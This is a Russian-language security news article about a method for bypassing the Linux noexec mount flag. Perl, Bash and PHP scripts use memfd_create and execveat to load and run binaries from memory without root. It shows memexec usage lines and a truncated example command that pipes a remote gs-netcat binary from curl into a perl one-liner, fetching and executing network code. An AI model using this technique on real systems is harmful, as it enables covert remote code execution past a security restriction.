Раскрыт способ обхода защиты через обычные скрипты.
Исследователи обнаружили новый способ обхода флага noexec в Linux, позволяющий выполнять произвольные бинарные файлы даже на разделах, где выполнение запрещено. Это возможно с помощью сценариев на Perl, Bash и PHP, которые не требуют выполнения прав root и позволяют загружать и исполнять бинарные файлы напрямую из интернета, обходя ограничения noexec.
Один из ключевых аспектов заключается в том, что бинарный файл не обязательно должен быть помечен как исполняемый (+x) и может находиться на разделе с установленным флагом noexec. Это особенно полезно для ситуаций, когда все доступные для записи разделы смонтированы с параметром -o noexec, включая /dev/shm. Метод работает даже в окружениях, где PHP имеет ограничения на использование функций 'exec'.
Решение основано на инъекции shellcode в работающий процесс, используя системные вызовы memfd_create и execveat, что позволяет загружать бинарный файл из памяти. Как отмечают исследователи, это обходное решение также работает в средах, где запрещено выполнение системных вызовов в Bash и PHP, применяя обновлённый метод для обхода этих ограничений.
Пример на Perl показывает, как можно выполнить команду 'id', не прибегая к правам root:
source memexec-perl.sh cat /usr/bin/id | memexec -u
На Bash это можно сделать подобным образом:
source memexec-bash.sh cat /usr/bin/id | memexec
Интересной особенностью метода является возможность загрузки бинарных файлов непосредственно из интернета в оперативную память и выполнения их, несмотря на активированные ограничения на выполнение (noexec). Это может быть использовано злоумышленниками для незаметной загрузки и запуска вредоносных программ через команды типа:
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | perl -efor(319,279){...}
Метод позволяет эффективно обходить ограничения на выполнение команд в PHP с помощью аналогичных сценариев, что представляет собой серьезную уязвимость для систем, использующих такие ограничения для защиты от вредоносного кода.
Исследователи продолжают анализировать подход и его возможные последствия для безопасности Linux-систем, подчёркивая важность внедрения дополнительных мер защиты для предотвращения использования такого метода в реальных атаках. Также рекомендуется проверять доступ к системным вызовам и ограничивать их использование, особенно в средах с повышенными требованиями к безопасности.
Большой взрыв знаний каждый день в вашем телефоне